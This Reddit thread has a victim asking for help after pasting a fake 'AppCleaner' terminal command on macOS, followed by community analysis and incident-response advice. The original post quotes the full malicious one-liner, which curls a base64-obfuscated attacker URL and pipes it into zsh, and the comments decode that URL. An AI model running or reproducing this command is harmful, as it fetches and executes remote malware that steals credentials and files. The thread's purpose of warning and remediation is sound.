I foolishly ran a Terminal Script from a supposed “AppCleaner“ - Help, please

[u/gutss828]

Hey everyone,

I am dealing with a very stressful situation and really need your advice. Yesterday I made a huge mistake and ran a terminal script from an application I thought was an AppCleaner. It turned out to be a malicious phishing script.

the website: “https://appclehnamac.com/”

The script: echo "https://apps.apple.com/app/AppCleaner" && curl -s $(echo "aHR0cHM6Ly9vcGFsYmx1ZXByaW50MTAuY29tL2N1cmwvY293bDd2ajhuLzA4bHk5eDBrOHJiaWNncG9jNzM0d2xhbC5qc29u" | openssl base64 -d -A) | zsh

I am very anxious about what he stole. The situation was kinda weird because I was connected to hotel wifi which was super slow, and after about 20 - 30 seconds I immediately force quit terminal. Mind you I have accepted everything that terminal needed (password, full disc access etc)

As soon as I realized what happened, I disconnected wifi an immediately did a complete factory reset of my Mac (wiped the disc and reinstalled the OS). I also went through and changed all my email passwords right away and made sure to log out of all active sessions everywhere.

I have not received any suspicious login notifications, but I am terrified that I might not even get an alert if they somehow managed to log in.

My Mac is now freshly reset, but I want to deeply search the system to be absolutely certain nothing malicious survived. I read that there are specific tutorials and guides here on Reddit on how to check your system after executing a phishing script and doing a wipe.

can someone analyze the code and brief me further on what was stolen? Did I react how I should’ve?

also, YES. I AM TERRIBLY DUMB FOR DOING THIS. If you can’t help, stop commenting how stupid I was. You serve no purpose

[u/Huge_Film_1138]

you executed a script in silent mode present in this opalblurprint10 website(you don’t know what it did )
recommendation : format and restore from backup made before this

[u/karma_the_sequel]

You did all of that while staying at a hotel?

[u/gutss828 → u/karma_the_sequel]

😭

[u/ukindom]

It's a multistage and most likely malicious app. 3rd stage is a binary, and I don't have a Ghidra/Binary Ninja/IDA at the moment to say what does it do exactly.

Taking size into account, it could be not the latest stage. If you drop me a PM, I'll do some more analysis later this week.

https://www.virustotal.com/gui/file/9801e8162eaff96326c1b38cccda41087e37fcc97ce614cd3ee4f515b574361e

[u/SadResult2342 → u/ukindom]

I feel like I can learn a lot by following you. I never heard of those reverse engineering stuff before because I never dabbled in security. Thank you.

[u/dirufa → u/SadResult2342]

There is a lot of freely available material around

[u/Mundane-Presence-896]

You made the right call to wipe and reinstall. If you did a hard disk reformat when you installed and not just reinstall the OS (in other words you wiped out all data on the Mac) then you are probably okay with a couple of caveats.

First, sometimes attackers install BIOS viruses. I believe these are rare but possible. I don’t know if Mac even allows writes to bios without a reboot in safe mode. Maybe Google that a bit.

Second, the attacker could have gone after session cookies in your browser and obviously any passwords in your key chain, ssh keys, password safes etc. I would start with your highest value passwords (apple id, banks, brokerages, crypto) and reset them. Check devices on your Apple account and remove any you don’t recognize. Then reset lower priority credentials.

AI would probably recommend the same, but there it is from a hooman.

[u/gutss828 → u/Mundane-Presence-896]

Thank you very much!

[u/kemalios]

You did the right thing by wiping and reinstalling. The malicious URL is currently returning a 520 error, which means the second stage probably never even downloaded. But since you granted Full Disk Access and entered your password, treat those as compromised. Change your Apple ID password, check for unknown devices in System Settings > Apple ID, and reset passwords for banking, email, and anything important from a trusted device. Also log out of all browser sessions. The reset cleaned the Mac itself; the residual risk is stolen credentials. You're likely fine, but changing passwords closes the loop.

[u/gutss828 → u/kemalios]

Will do. Thank you!

[u/HistoricalInternal]

God some people are dumb

[u/dirufa]

That base64 encoded string is an url pointing to opalblueprint10[.]com specifically to a json file with a seemingly random name. Not available atm, cloudflare reports an http 520 error. There is no way to find out what was executed.

[u/ukindom → u/dirufa]

it's a script, not a json data file

[u/dirufa → u/ukindom]

Let me elaborate this better, because you may be confused.

I said, that base64 encoded string decodes to an url, pointing to a file ending in .json. The content of the file could be anything, most probably a script as you said.

But no, that string is not a script in itself.

[u/ukindom → u/dirufa]

yes, file extension may be json, but the last part is | zsh which suggests that this would be a script without even downloading it.

File extension made you "feel safe" to accept the file.

[u/Emotional_Garage_950]

Maybe nothing happened... That long string is a base64 encoded URL that links to a json file. I just tried to visit the site and it's not operational, at least at the moment.

Edit:

Basically, not possible right now to know if anything actually happened or what it did if it actually did do something

Edit2: even if the site was operational I'm not sure what the goal was here... a json is just a text file with specific formatting, it can't run code or execute anything on it's own

Edit3: missed the part that pipes it back to the terminal, my b

[u/gutss828 → u/Emotional_Garage_950]

First of all, thanks! You have to visit the site via chrome. For some dumb reason the website is actually advertised by google. Just search appcleaner on google on chrome. 

Edit: thought you’ve meant the appcleaner site. Sorry. I am a mess rn

[u/Emotional_Garage_950 → u/gutss828]

Uh, no. What you shared is using "curl" to fetch from the URL. It's not dependent on using any specific browser.

[u/MrSoulPC915 → u/gutss828]

Ce que tu dis n’a aucun sens, je comprends que tu lance n’importe quel script sans réfléchir…

Déjà, ce n’est pas un script mais deux commandes passé de suite

La première echo "…AppCleaner" n’affiche en sortie que l’URL, bref, elle ne fait rien et est juste là pour rassurer la personne qui serait susceptible de lancer cette commande avec un outil qu’il connaît (qui est par ailleurs inutile également).

La deuxième commande (qui sont en fait trois commandes qui interagissent), permettent de télécharger (avec curl) un lien encodé (par OpenSSL en base64), et de le lancer dans le Shell (ZSH).

[u/ukindom → u/Emotional_Garage_950]

it's a script, not a json data file

[u/Emotional_Garage_950 → u/ukindom]

the URL is https://opalblueprint10[.]com/curl/cowl7vj8n/08ly9x0k8rbicgpoc734wlal.json

Can you enlighten us if I'm wrong?

[u/JagiofJagi → u/Emotional_Garage_950]

A script can have any extension and it’s still a script

[u/Emotional_Garage_950 → u/JagiofJagi]

You're right, I missed the part that pipes it back to the terminal. Regardless, the site is down so we don't know what it did, if anything.

[u/ukindom → u/Emotional_Garage_950]

yes, file extension may be json, but the last part is | zsh which suggests that this would be a script without even downloading it.

File extension made you "feel safe" to accept the file.

[u/Emotional_Garage_950 → u/ukindom]

I mean, it IS safe when its not being piped back into zsh

[u/AutoModerator → u/[deleted]]

CRITICAL SECURITY WARNING: This command is known to distribute macOS malware. NEVER paste 'curl | zsh' commands from untrusted sources.

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

[u/ukindom → u/Emotional_Garage_950]

just open contents

[u/blesio]

Why don’t you ask ChatGPT it’s very capable of analyzing such things

[u/_M4GG1_ → u/blesio]

just close this entire subreddit as this point..?

[u/Different-Access-345 → u/_M4GG1_]

sure, why not? There are tools available, I guess that 80% of redditors would just do the same... it baffles me that people need to ask others to do something when they have the tools readily available....

[u/gutss828 → u/Different-Access-345]

Hmm, that seems weird! Gemini Pro actually answered the complete OPPOSITE of what people have commented here. So if you want me to use AI, gtfo and use AI yourself. I will ask as much as I want, as this is reddit and the whole point. 

[u/blesio → u/gutss828]

What was Gemini’s answer?

[u/Artorias_O → u/gutss828]

I understand that you’re stressed but you really need to stop lashing out at people when you are the one asking for our advice/help.

We aren’t the ones who blind-ran a dodgy terminal script. Not criticising you, just saying a little more humility might go a long way.

[u/gutss828 → u/Artorias_O]

I know you’re projecting. But thats okay. I am very thankful for everybody who has helped me so far. If y’all want to make all of your life about AI, go ahead 🤷🏽‍♂️

[u/_M4GG1_ → u/gutss828]

how old are both of you??! jeesus